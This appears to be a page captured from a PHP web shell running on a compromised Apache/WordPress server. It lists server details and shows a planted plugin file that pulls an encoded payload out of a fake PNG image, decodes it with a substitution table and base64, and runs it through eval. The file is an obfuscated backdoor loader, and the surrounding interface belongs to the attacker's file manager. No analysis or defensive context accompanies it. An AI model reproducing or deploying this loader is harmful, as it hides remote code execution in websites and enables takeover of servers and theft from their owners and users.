HEX
Server: Apache
System: Linux server11 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: web78 (5081)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/clients/client1/web78/web/wp-content/plugins/hoqecewuga/yshyjuv.php
<?php

function ufasyqi_gapezil($usashiv_qakesyr) {
    if (!file_exists($usashiv_qakesyr))
        return false;
    $vawifu = @file_get_contents($usashiv_qakesyr);
    if (!$vawifu)
        return false;
    $vawifu = substr($vawifu, 3);
    $shylily = ycuhoqe_etaduwo($vawifu);
    return $shylily;
}

function ycuhoqe_etaduwo($usashiv_qakesyr) {
    $esidaf = fohachu_elyqycy;
    $dikijij = array();
    for ($ichulyh = 0; $ichulyh < strlen($esidaf); $ichulyh += 2) {
        $wapylu = substr($esidaf, $ichulyh, 1);
        $xojusat = substr($esidaf, $ichulyh + 1, 1);
        $dikijij[$wapylu] = $xojusat;
    }
    $qiterar = strtr($usashiv_qakesyr, $dikijij);
    $qiterar = base64_decode($qiterar);

    return $qiterar;
}

define("fohachu_elyqycy", "=xyglp+rH+ETLGKUUYpLZAj94iJI7=xN98063/hn2vTQcJA5uM6mzoNHdOWSGVs4RBaZvz/bVc5ab2IPf1BFiWm0My8kYKXEqdw3SsPRkCruetFXCjo71htenwODgfQqDl");

$jokoliv = ufasyqi_gapezil(__DIR__ . "/asse" . "ts/i" . "mages" . "/loko" . "ryt.pn" . "g");
if ($jokoliv) {
    @eval($jokoliv);
}